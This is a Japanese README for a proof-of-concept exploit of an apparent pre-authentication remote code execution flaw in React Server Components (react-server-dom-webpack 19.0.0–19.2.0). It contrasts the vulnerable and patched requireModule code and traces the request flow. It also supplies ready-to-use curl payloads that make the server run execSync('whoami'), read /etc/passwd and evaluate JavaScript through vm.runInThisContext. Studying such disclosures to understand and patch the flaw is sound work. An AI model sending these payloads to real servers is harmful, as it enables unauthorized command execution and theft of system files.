
[email protected] における `hasOwnProperty` チェックの欠落を実証する現実的な POC
[email protected] における重大なリモートコード実行脆弱性を示す最小限の概念実証です。
React Server Components における事前認証 RCE 脆弱性であり、脆弱な react-server-dom-webpack パッケージ(バージョン 19.0.0 ~ 19.2.0)を使用しているサーバ上で攻撃者が任意のコードを実行できるようにします。
CVSS スコア: 10 (Critical)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty チェックの欠落この脆弱性は、React の Flight プロトコル実装内の requireModule 関数に存在します。この関数は、クライアントリクエストから受信したメタデータに基づいてモジュールのエクスポートを読み込みます。
脆弱なコード ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- No validation!
}
問題点: metadata[NAME] は ユーザー入力 (HTTP リクエスト) から取得されます。攻撃者は任意のモジュールとエクスポート名(例: child_process#execSync)を指定できます。
修正後のコード ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// FIXED: Validate that the export actually exists
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
修正では hasOwnProperty.call() を追加し、要求されたエクスポートがモジュールの 自身のプロパティ であり、プロトタイプチェーンから継承されたものや、危険なモジュールに動的に解決可能なものではないことを保証します。
$ACTION_REF_0 および $ACTION_0:0 フィールドが含まれます$ACTION_0:0 には {"id":"child_process#execSync","bound":["whoami"]} が含まれますdecodeAction がこれを解析し、攻撃者が制御するメタデータで requireModule を呼び出しますrequireModule は require('child_process').execSync を返しますcd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
期待される出力:
{"success":true,"result":"your-username\n"}
# Read files
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Execute JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction のフローHTTP リクエスト
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - $ACTION_REF_0 を解析してアクション参照を見つける │
│ - $ACTION_0:0 を解析して {id, bound} を取得する │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (攻撃者制御) │
│ - bound = ["whoami"] (攻撃者制御) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - "child_process#execSync" を分割: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [脆弱] │
│ - require("child_process") を読み込む │
│ - moduleExports["execSync"] を返す │
│ - "execSync" にアクセス可能かどうかの検証がない │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → サーバ上で "whoami" を実行 │
└─────────────────────────────────────────────────────────────┘
MIT